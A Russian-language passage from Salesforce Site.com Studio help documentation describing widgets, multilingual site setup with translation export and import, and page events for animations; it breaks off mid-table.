Прим.: Еслипользователь сообществиспользуетпроверенные страницы, то доступ кобъектамнаобщедоступных
и личных страницах контролируется профилем проверенного пользователя. Профиль пользователя-гостя
контролирует только доступ непроверенных посетителей к объектам на общедоступных сайтах.

СМ. ТАКЖЕ:

Настройка полномочий доступа к данным для объектов Salesforce

Динамическое извлечение данных с помощью повторителей данных

Добавление полей ввода в формы или на страницы
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Создание настраиваемых виджетов

Общие сведения о виджетах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

Виджеты позволяют экономить время путем создания настраиваемых элементов
страницы, которыемогутповторноиспользоватьсятекущимпользователемиегорабочей
группой на сайте.

Используя текущиеэлементыстраницы Site.com (например, панели, блокисодержимого,
настраиваемый код или повторители данных), пользователи могут создавать виджеты в
соответствии с текущими уникальными требованиями. Пользователи могут добавлять
настраиваемые свойства, поддерживающие дополнительный контроль над способами
повторногоиспользованиявиджетов. Принеобходимостивиджетможетбытьдобавлен
в другой виджет!

Каскадная таблица стилей, используемая для стилизации виджета, гарантирует его
корректное отображение при добавлении на страницы сайта или в шаблоны страниц.
Кроме того, пользователи могут разрешать авторам добавление виджетов на страницы
сайта, а также добавлять свойствафирменного стиля, позволяющие авторам обновлять
внешний вид виджета.

Ниже перечислены преимущества виджетов.

• Сокращение дублирования на сайте. Созданный виджет может использоваться повторно.

• Сокращение затрат на обслуживание для текущего пользователя и его рабочей группы. Обновления виджета
автоматически отображаются в копиях виджета на странице.

• Сокращение времени загрузки страниц.

Пример: Так, чтобы создать многоразовые виджеты социальных модулей (например, кнопка «Нравится» или

«Отслеживать»из Facebook илиленты Twitter), воспользуйтесь элементомстраницы «Настраиваемыйкод». 

Чтобыгарантировать единыйвнешнийвидвсех страниц, создайте корпоративныйверхнийколонтитул. См. пример
виджета ниже. Виджет отображается в виде панели (1), содержащей логотип компании (2) и меню (3). Кроме того,
виджетсодержитдругойвиджет (4), состоящийизпанели, котораясодержитнастраиваемыйкоддлямодулей Facebook,
Twitter и RSS.

Виджетымогут использоваться для хранения распространенных текстовых единиц (например, названия компаний,
адреса, юридическиеданныеи т. д.). Созданныйвиджет долженбыть дополненблокомсодержимого, включающим
нужный текст.
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Рекомендации по использованию виджетов

• Использование виджетов позволяет сократить дублирование в стилистическом оформлении сайтов. Данное
преимущество упрощает обработку комплексных дизайнов или элементов сайта, обслуживание которых может
занимать много времени.

• Чтобы использовать одинаковые виджеты на разных сайтах, рекомендуем создать базовый сайт, содержащий все
обязательныевиджеты. Затембазовыйсайтпростокопируетсядлякаждогоновогосайта. Данныйалгоритмгарантирует
автоматическое добавление всех созданных виджетов на каждый новый сайт.

• Еслистилистическоеоформление виджетов выполняетсяпосредствомкаскаднойтаблицыстилей, то данная таблица
должнабыть добавлена в стандартнуютаблицу стилей сайта Site Style Sheet. Каждая страница автоматически ссылается
на таблицу стилей, благодаря чему каждый виджет может правильно отображаться на странице.

СМ. ТАКЖЕ:

Создание виджетов

Общие сведения о настраиваемых свойствах для шаблонов страниц или виджетов

Общие сведения о фирменном стиле сайта
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Создание виджетов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Виджетыпозволяют создавать настраиваемыемногоразовые элементы страницыпутем
объединения текущих элементов страницы Site.com, настраиваемого кода и CSS.

Созданныйвиджет добавляется в представление «Виджеты» вкладки «Общие сведения»,
позволяющее просматривать и управлять всеми виджетами сайта. Общедоступные
виджеты также отображаются в разделе «Виджеты» вкладки «Элементы страницы»,
позволяющем перетаскивать виджеты на страницу. Кроме того, пользователи могут
разрешать авторам добавление виджетов на страницы сайта.

1. Наведитеуказательмышинапредставление«Виджеты»навкладке «Общиесведения»
и нажмите кнопку «Создать» или откройте представление «Виджеты» и нажмите
кнопку «Создать виджет».

2. Введите имя виджета. Данное имя отображается на панели «Элементы страницы».

3. При необходимости введите описание.

Описание отображается в качестве подсказки на панели «Элементы страницы».

4. Чтобы добавить значок отображения для виджета, выберите нужное изображение
из импортированных активов. Размер значка должен составлять 16 х 16 пикселов.

5. Чтобы отменить отображение виджета на панели «Элементы страницы», снимите
флажок «Доступно на панели "Элементы страницы"».

Например, виджет может быть скрыт на время разработки.

6. Нажмите кнопку «Применить». Теперь можете дополнить виджет элементами
страницы.

7. Чтобы открыть виджет на новой вкладке, щелкните имя нужного виджета.

8. Добавьте нужные элементы страницы и стили CSS.

9. При необходимости добавьте настраиваемые свойства или свойства фирменного
стиля в виджет.

Чтобы разрешить отображение созданного виджета на вкладке «Элементы страницы»,
установите флажок «Доступно на панели "Элементы страницы"» на панели
«Свойства».

Чтобы разрешить авторам добавление виджета на страницы сайты, установите флажок «Доступно для авторов» на
панели «Свойства». Данный параметр определяет доступность виджета на панели «Элементы страницы» автора. Кроме
того, убедитесь, что сайт содержит страницу сайтанаосновешаблона, использующуюкакминимумоднуредактируемую
панель.

СМ. ТАКЖЕ:

Общие сведения о виджетах

Общие сведения о настраиваемых свойствах для шаблонов страниц или виджетов

Общие сведения о фирменном стиле сайта

Добавление виджета на страницу
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Добавление виджета на страницу

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Прежде чем добавить виджет на страницу, убедитесь, что выбранный виджет доступен
для использования. Выполните одно из двух действий ниже.

• Установите флажок «Доступно на панели "Элементы страницы"» на панели
«Свойства» открытого виджета.

• Наведите указательмышинанужныйвиджет в представлении «Виджеты» на вкладке
«Общиесведения», выберите  > «Редактироватьсвойства»иустановитефлажок
«Доступно на панели "Элементы страницы"».

Ниже перечислены действия, доступные на открытой странице.

1. Перетащитенужныйвиджетиз раздела «Виджеты» панели «Элементы страницы» на
страницу.
Добавлениевиджетанастраницуинициируетсозданиекопииили экземпляравиджета.
Данный экземпляр виджета не может быть изменен.

2. Если доступно, обновите свойства на панели «Свойства» экземпляра виджета.

СМ. ТАКЖЕ:

Общие сведения о виджетах

Общие сведения о настраиваемых свойствах для шаблонов страниц или виджетов

Редактирование и удаление виджетов

Создание виджетов

5245

Site.comРасширение Salesforce посредством интерактивных
инструментов



Редактирование и удаление виджетов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Чтобыпросмотреть виджетысайта, воспользуйтесьпредставлением «Виджеты» раздела
«Все содержимое сайта» на вкладке «Общие сведения».

Чтобыобновитьвиджет, наведите указательмышинанужныйвиджетищелкните значок
. Ниже перечислены действия, доступные в меню .

• Редактирование виджета. Редактируемый виджет открывается на новой вкладке. Все
вносимые обновления незамедлительно отображаются на страницах сайта или в
соответствующихшаблонах страниц.

• Обновление свойств виджета, включая имя, описание, значок отображения и
доступность. Кроме того, представление «Виджеты» позволяет редактировать имя,
описание и доступность путем двойного нажатия нужного элемента.

• Дублирование, предварительный просмотр или удаление виджета. Виджет,
используемыйстраницейсайта, шаблономстраницыилидругимвиджетом, неможет
быть удален.

СМ. ТАКЖЕ:

Общие сведения о виджетах

Создание виджетов

Добавление виджета на страницу
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Создание многоязычных сайтов

Общие сведения о многоязычных сайтах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

Приложение Site.com Studio позволяет создавать разные языковые версии сайта.
Возможность хранения всех языков на одном сайте позволяет избегать создания и
управления отдельными сайтами для каждого языка.

Администраторы сайта и конструкторы могут добавлять поддерживаемые языки и
управлять ими. Добавление языка на сайт инициирует отображение на панели
инструментов селектора языков Site.com Studio, позволяющегопользователямирабочим
группам переключаться между языками при редактировании содержимого страницы.
Селекторязыковпозволяет ускоритьиупроститьпроцессредактированиясодержимого
благодаря изменению языка прямо на текущей странице.

Авторы, конструкторы и администраторы сайта могут добавлять языковое содержимое
на страницу посредством селектора языков.

Кроме того, администраторы сайта и конструкторы могут экспортировать содержимое
сайта в виде XML-файла и отправлять его в службу перевода. Полученный
отредактированныйфайлдолженбытьимпортированобратнона сайт дляпоследующего заполнения каждой страницы
переведенным содержимым.

Чтобыпредоставитьпосетителямсайтавозможностьвыборапредпочтительногоязыкаприпросмотресайта, рекомендуем
добавить элемент страницы «Селектор языков» на нужные страницы. Кроме того, рекомендуем указать базовый язык,
который должен использоваться для отображения содержимого сайта, недоступного на выбранном языке.

Пример: Например, базовый язык (допустим, испанский) используется для отображения содержимого страницы,
которое отсутствует на португальском языке, выбранном в селекторе языков.

СМ. ТАКЖЕ:

Создание многоязычного сайта

Общие сведения о редактировании языкового содержимого
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Создание многоязычного сайта

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления и
управления параметрами
языка:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Для редактирования
языкового содержимого:
• Поле «Пользователь

Site.com
Publisher» или
«Пользователь
Site.com
Contributor»,
включенноена странице
сведений о
пользователе, и любая
роль, назначенная на
уровне сайта

Создание многоязычного сайта — это многоэтапный процесс, охватывающий
определение поддерживаемых языков, добавление переведенного содержимого для
каждого языка и предоставление посетителям сайта возможности выбора
предпочтительного языка.

1. Настройте стандартный язык сайта. Рекомендуем выполнить данное действиеперед
добавлением переведенного содержимого на сайт.

2. Добавьте языки на сайт.

3. Настройте параметры для каждого языка (например, язык отображения и базовый
язык).

4. Добавьте содержимое для каждого языка сайта одним из двух способов.

• Редактирование содержимое страницы для каждого языка.

• Экспорт содержимого для перевода и последующий импорт переведенного
содержимого.

5. Добавьте элемент страницы «Селектор языков», позволяющий авторизованным
пользователям сайта выбирать предпочтительный язык, на страницы сайта.

6. Если имеется сообщество для самообслуживания, созданное по шаблону Napili,
добавьте компонент «Language Picker» на страницы сообщества, чтобы гости сайта
(пользователи, не выполнившие вход в систему) могли выбрать предпочитаемый
язык. Дополнительныесведениясм. вразделе «Использованиешаблоновдлясоздания
сообществ».

Совет: После добавления языкового содержимого на сайт пользователь может
создать отдельный URL-адрес предварительного просмотра для каждого языка.
Просто выберите нужный язык в селекторе языков Site.com Studio ищелкните
«Анонимный предварительный просмотр». Затем скопируйте ссылку для
отправки экспертам.

СМ. ТАКЖЕ:

Общие сведения о многоязычных сайтах

Общие сведения о редактировании языкового содержимого
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Настройка стандартного языка

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления и
управления параметрами
языка:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Стандартный язык — это язык, используемыйприпервоначальномотображении сайта.
По умолчанию используется американский английский, который также позволяет
добавлять новые языки.

Преждечемдобавитьязыковоесодержимоенасайт, рекомендуемнастроитьстандартный
язык. Данныйпараметр не связан со стандартным языком, используемым в организации
Salesforce.

1. Выберите «Конфигурация сайта» > «Языки» на вкладке «Общие сведения».

2. Выберите нужный язык в раскрывающемся списке «Стандартный язык сайта».

Прим.: Чтобы изменить стандартный язык после добавления переведенного
содержимого, рекомендуем сначала экспортировать переведенное содержимое,
затем изменить стандартный язык и импортировать содержимое обратно на сайт.
В противном случае переведенное содержимое не будет отображаться для вновь
выбранного стандартного языка.

Например, английский используется как стандартный язык сайта, а французский
добавляется как дополнительныйязык сайта. Пользовательдобавляет содержимое
на обоих языках, после чего принимает решение использовать французский как
стандартный язык сайта. Чтобы сохранить содержимое, добавленное на
французском языке, рекомендуем сначала выполнить его экспорт. Прежде чем
импортировать содержимое, добавленноенафранцузскомязыке, обратнона сайт,
рекомендуем выбрать французский в качестве стандартного языка сайта.

СМ. ТАКЖЕ:

Добавление языков

Настройка параметров языка
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Добавление языков

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления и
управления параметрами
языка:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Добавьте языки, которые должны поддерживаться сайтом.

1. Выберите «Конфигурация сайта» > «Языки» на вкладке «Общие сведения».

2. Нажмите кнопку «Добавить языки».

3. Выберите нужные языки.

4. При необходимости измените порядок их отображения в селекторе языков.

5. Сохраните внесенные изменения.

СМ. ТАКЖЕ:

Настройка стандартного языка

Настройка параметров языка

Удаление языков
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Настройка параметров языка

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления и
управления параметрами
языка:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Каждому языку сайта, добавленному в представление «Языки», могут быть заданы
отдельные параметры.

1. Выберите «Конфигурация сайта» > «Языки» на вкладке «Общие сведения».

2. Выберите нужный язык в области «Языки сайта».

3. Обновите параметры в разделе «Параметры языка».

ОписаниеПараметр

При добавлении элемента «Селектор
языков» на активный сайт данный
флажок определяет доступность языка в
раскрывающемся списке. Язык может
быть скрыт пока связанное содержимое
только готовится к публикации.

Активно на действующем сайте

Базовый язык отображается при
отсутствиисодержимого, доступногодля
выбранного языка. Например, базовый
язык используется для отображения
содержимого страницы, которое
отсутствует на японском языке,
выбранном в селекторе языков.

Базовый язык

Метка отображения может быть задана
для каждого языка. Данная метка
отображается влюбомселектореязыков,
добавленномна сайт, а также в селекторе
языков Site.com Studio.

Метка отображения

СМ. ТАКЖЕ:

Добавление языков

Настройка стандартного языка
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Общие сведения о редактировании языкового содержимого

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

Стандартный язык — это язык, используемыйприпервоначальномотображении сайта.
По умолчанию используется американский английский, который также позволяет
добавлять новые языки. Так, сайт, дополненныйфранцузским языком, изначально
отображает содержимое на американском английском языке, которое должно быть
заменено франкоязычной версией.

Добавление языка на сайт инициирует отображение селектора языков Site.com Studio на
панели инструментов. Данный селектор позволяет переключаться между языками при
редактировании содержимого на каждой странице. Например, селектор языков,
дополненныйфранцузскимииспанским языками, отображает три языка: французский,
испанский и американский английский.

Блоки содержимого отображают следующие значки:

• значок предупреждения ( ) указывает на наличие незамененного текста.

• значок земного шара ( ) указывает на наличие замененного содержимого.

Кроме того, некоторые элементы страницы используют языковые свойства, то есть могут хранить разные значения для
каждого языка. Данные свойства обозначаются на панели «Свойства» значком земного шара ( ).

При необходимости добавьте содержимое для каждого языка сайта одним из двух способов.

• Редактирование содержимого страницы для каждого языка посредством селектора языков Site.com Studio.

• Экспорт содержимого для перевода и последующий импорт переведенного содержимого на сайт.

Порядок отображения языков

В зависимости от доступного языкового содержимого, добавленного на сайт, содержимое страницы отображается в
указанном ниже порядке.

1. Выбранный язык

2. Базовый язык

3. Стандартный язык

Например, удалениефранкоязычногосодержимогоинициируетотображениесодержимогонаиспанскомязыке, выбранном
в качестве базового, вместо стандартного языка. Последующее удаление испаноязычного содержимого инициирует
отображение содержимого на стандартном языке.

Языковые элементы страницы

Ниже перечислены элементы страницы, поддерживающие переведенное содержимое.

• Блок содержимого

• Настраиваемый код

• Элемент данных

• Форма

• Поля ввода

• Изображение
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• Селектор языков

СМ. ТАКЖЕ:

Языковые свойства
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Редактирование языкового содержимого на странице

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления и
управления параметрами
языка:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Для редактирования
языкового содержимого:
• Поле «Пользователь

Site.com
Publisher» или
«Пользователь
Site.com
Contributor»,
включенноена странице
сведений о
пользователе, и любая
роль, назначенная на
уровне сайта

Селектор языков Site.com Studio позволяет переключаться между языками при
редактировании содержимого на каждой странице. Авторы, конструкторы и
администраторысайтамогут добавлять языковое содержимоена страницупосредством
селектора языков.

Ниже перечислены действия, доступные на открытой странице.

1. Выберите нужный язык в селекторе языков Site.com Studio (раскрывающийся список
«Изменить язык сайта» на панели инструментов).

2. Измените содержимое страницы.
При просмотре блока содержимого на выбранном языке:

• значок предупреждения ( ) указывает на наличие незамененного текста.

• значок земного шара ( ) указывает на наличие замененного содержимого.

3. При необходимости обновите языковые свойства.

Прим.: Приложение Site.com Studio не проверяет языки при вводе содержимого.
Убедитесь, что добавляемое содержимое соответствует выбранному языку.

Чтобывосстановитьпереведенноесодержимое, правойкнопкоймышищелкнитенужный
блок содержимого и выберите пункт «Восстановить перевод». Данное действие
инициирует восстановлениетекстана выбранномбазовомязыкеилистандартномязыке
сайта.

СМ. ТАКЖЕ:

Общие сведения о редактировании языкового содержимого
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Языковые свойства

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

Некоторые свойства на панели «Свойства» являются языковыми, то есть могут хранить
разные значения для каждого языка.

Значения свойств стандартных языковиспользуютсяприотсутствии языковых свойств,
заданных для страницы или элемента страницы.

ОписаниеОбласть
применения

Свойство

Данноесвойствоиспользуетсяпрограммамидлячтения
экранаилиотображается взаменизображения, которое
не поддерживается обозревателем. Кроме того, данное
описаниепозволяетоптимизироватьмеханизмпоиска.

ИзображениеАльтернативный
текст

Данное свойство препятствует переводу содержимого
элемента. Выборданногосвойстваинициируетудаление

Не
переводить

• Блок
содержимого

значка земного шара ( ) из языковых свойств,
обозначая отмену поддержки языкового содержимого.

Включение данного свойства после добавления
языкового содержимого инициирует его скрытие.

• Настраиваемый
код

• Элемент
данных

Повторное отключение данного свойства инициирует
отображение содержимого.• Форма

• Поля ввода

• Изображение

• Селектор
языков

• Страница

Данный параметр перенаправляет посетителей сайта
на другую страницу при выборе языка. URL-адрес
является одинаковым для всех языков.

Селектор языковURL-адрес
начальной
страницы

Данное свойство позволяет выбирать изображение,
которое должно отображаться для выбранного языка.

Например, при выборе американского английского
языка в селекторе языков Site.com Studio рекомендуем

ИзображениеАктив
изображения

выбрать англоязычную версию импортированного
изображения. Чтобыдобавитьфранкоязычнуюверсию
того же изображения, рекомендуем выбрать
французский язык и соответствующее изображение.

Метка, отображающаяся напротив элемента страницы
«Селектор языков», добавленного на страницу. По

Селектор языковМетка

умолчаниюиспользуется следующийтекст: «Изменить
язык сайта».

Данныйтекстдоступендляперевода (выберитенужный
язык в селекторе языков Site.com Studioиобновите текст
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ОписаниеОбласть примененияСвойство

для каждого языка или выполните экспорт всего содержимого сайта для
перевода).

Имя страницы, отображающееся в меню навигации.СтраницаИмя для
навигации

Заголовок, отображающийся в строке заголовка окна обозревателя.СтраницаЗаголовок

При добавлении меню на сайт данное свойство определяет необходимость
отображения страницы в меню для выбранного языка. Кроме того, данное

СтраницаДоступно на
действующем
сайте свойство отменяет доступ к странице посредством соответствующего

языкового URL-адреса.

При включении свойства «Не переводить» статус свойства «Доступно на
действующем сайте» применяется ко всем языкам.

СМ. ТАКЖЕ:

Редактирование языкового содержимого на странице

Общие сведения о редактировании языкового содержимого
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Экспорт языкового содержимого

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления и
управления параметрами
языка:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Рекомендуем экспортировать как минимум один язык сайта в виде XML-файла, который
может быть отправлен в службу перевода.

1. Щелкните  > «Экспорт содержимого для перевода» в представлении «Языки»
вкладки «Общие сведения».

2. Выберите нужное языковое содержимое. (Чтобы выбрать несколько элементов,
воспользуйтесь комбинацией CTRL+щелчок.)

3. При необходимости введите другое имя файла. По умолчанию используется имя
languages.xml.

4. Нажмите кнопку «OK».

5. При необходимости выберите область для сохранения файла.

Экспортированный XML-файл может быть отправлен на перевод.

Пример:  XML-файл содержит атрибут временной отметки, сохраняющий время
экспорта, иотображаетвсепереводимоесодержимоепосредствомразделов CDATA
(см. пример ниже).

Полученный переведенный XML-файл должен быть импортирован обратно на сайт.

СМ. ТАКЖЕ:

Импорт переведенного содержимого

Общие сведения о редактировании языкового содержимого
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Импорт переведенного содержимого

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления и
управления параметрами
языка:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Переведенный XML-файл, обработанныйслужбойперевода, можетбытьимпортирован
обратно на сайт.

1. Щелкните  > «Импортпереведенногосодержимого»впредставлении «Языки»
вкладки «Общие сведения».

2. Найдите область хранения переведенного XML-файла.

3. Выберите файл и нажмите кнопку «Открыть».

4. Определите необходимость перезаписи текущего содержимого сайта.

5. Нажмите кнопку «Импорт».
Если размер файла не превышает 1 Мб, то успешное или неудачное выполнение
импорта подтверждается соответствующим сообщением. В противном случае
уведомление о завершении импорта отправляется по эл. почте.

Послеимпортапереведенногосодержимогорекомендуемпротестировать страницына
предмет корректного отображения содержимого. Чтобы просмотреть страницу на
каждом поддерживаемом языке, воспользуйтесь селектором языков Site.com Studio для
каждой страницы.

СМ. ТАКЖЕ:

Экспорт языкового содержимого

Общие сведения о редактировании языкового содержимого
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Добавление элемента страницы «Селектор языков»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления и
управления параметрами
языка:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Селектор языков позволяет посетителям сайта выбирать предпочтительный язык при
просмотре сайта.

После добавления языков на сайт посетителям сайта должна быть предоставлена
возможность выбора предпочтительного языка из списка языков, заданного в
представлении «Языки».

Совет: Чтобысэкономитьвремя, рекомендуемдобавитьселекторязыковвшаблоны
страниц сайта.

Ниже перечислены действия, доступные на открытой странице.

1. Перетащитеэлемент«Селекторязыков»спанели «Элементыстраницы» настраницу.
Раскрывающийся список «Изменить язык сайта» будет отображаться посетителям
сайта при просмотре данной страницы.

2. Настройте свойства селектора языков.

ОписаниеСвойство

Данныйфлажок позволяет отображать
одинаковый текст поля «Метка» для всех
языков.

Не переводить

Метка, отображающаяся напротив
элемента страницы «Селектор языков»,
добавленного на страницу. По
умолчанию используется следующий
текст: «Изменить язык сайта».

Данный текст доступен для перевода
(выберите нужный язык в селекторе
языков Site.com Studio и обновите текст
для каждого языка или выполните
экспорт всего содержимого сайта для
перевода).

Метка

Данный параметр перенаправляет
посетителей сайта на другую страницу

URL-адрес начальной страницы

при выборе языка. URL-адрес является
одинаковым для всех языков.

СМ. ТАКЖЕ:

Языковые свойства
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Удаление языков

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления и
управления параметрами
языка:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Удаление языка не инициирует удаления переведенного содержимого, но делает его
недоступным для пользователя или рабочей группы. Доступ к переведенному
содержимому предоставляется после повторного добавления языка на сайт.

1. Выберите «Конфигурация сайта» > «Языки» на вкладке «Общие сведения».

2. Щелкните значок напротив нужного языка.

СМ. ТАКЖЕ:

Добавление языков

Использование событий для создания анимированных эффектов

Общие сведения о событиях

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

С помощью событий пользователи могут добавлять интерактивные и анимированные
эффекты на страницы и в элементы страниц веб-сайта.

Пользователимогут выбрать действиеилипоследовательностьдействий, выполняемых
принаступленииопределенного события (например, привыборе элементана странице
или при загрузке страницы). Например, при загрузке начальной страницы в течение
нескольких секунд может отображаться всплывающее окно с последними новостями.
Авыбраннаяпанельможетбытьразвернутадляотображениядополнительныхсведений
или изменения ее стиля.

Панель «События» содержит типичные действия, которые могут выполняться при
наступлении событий. Параметры панели позволяют указать следующее:
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При наступлении [данного события] выполняется [данное действие].

СМ. ТАКЖЕ:

Создание события

Доступные события и действия

Использование Site.com Studio в качестве администратора сайта или конструктора

Создание события

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Событияпозволяютдобавлятьинтерактивныеианимированныеэффектынастраницы
и в элементы страницы веб-сайта.

1. Выберите нужную страницу или элемент страницы.

2. Выберите нужное событие на панели «События» ( ). См. раздел «Доступные
события и действия» на странице 5262.

3.
Щелкните значок и выберите действие во всплывающем списке «Выбрать
действие».

4. Задайте другие доступные свойства действия, например:

• «Целевой элемент»: определяет элемент страницы, на который влияет действие.

• «Эффект»: определяет анимацию действия (например, обесцвечивание или
плавный переход).

• «Скорость»: определяетскоростьвоспроизведенияанимации (быстро, нормально,
медленно или очень медленно).

• «Связано»: позволяет связывать действия с целью их последовательного
выполнения. Например, чтобысоздатьдействие «Отложить», котороеоткладывает
последующее действие, установите флажок «Связано» для действия «Отложить».
При этом действие, следующее за действием «Отложить», выделяется (это
указывает на его связь с действием «Отложить»). Данныйфлажок может быть
установлен для действий «Анимировать», «Отложить», «Скрыть элемент»,
«Повторить», «Показать элемент» и «Переключить элемент».

5. Нажмите кнопку «Сохранить».

6. При необходимости добавьте другие действия.

Совет:

• Событие, добавленное на страницу или в элемент страницы, помечается
символом «*» на панели «События».

• При наведении указателя мыши на значок для выбранного элемента
страницы отображается подсказка, в которой указаны события, связанные с
даннымэлементом. Чтобыоткрытьвкладку «События», щелкнитеданныйзначок.

Чтобы удалить действие, выберите нужное действие и щелкните значок .
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Чтобы изменить порядок выполнения действий, выберите нужное действие и щелкните значок или .

СМ. ТАКЖЕ:

Добавление пагинации в повторители данных и таблицы данных

Общие сведения о событиях

Доступные события и действия

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

Нижеперечисленытриггерыидействия, доступныепользователюприсозданиисобытия.

При наступлении данного события...

Условия наступления событияСобытие

Пользователь дваждыщелкает элемент страницы.Двойнойщелчок

Пользователь щелкает элемент страницы.Щелчок

Фокус перемещается на элемент страницы.Фокус

Страница или элемент страницы загружается в окне обозревателя.Загрузка

Фокус смещается с элемента страницы.Размытие

Пользователь устанавливает указательмышина элемент страницы.Наведение
указателя

Пользователь убирает указатель мыши с элемента страницы.Смещение
указателя

Выполняется данное действие...

ОписаниеДействие

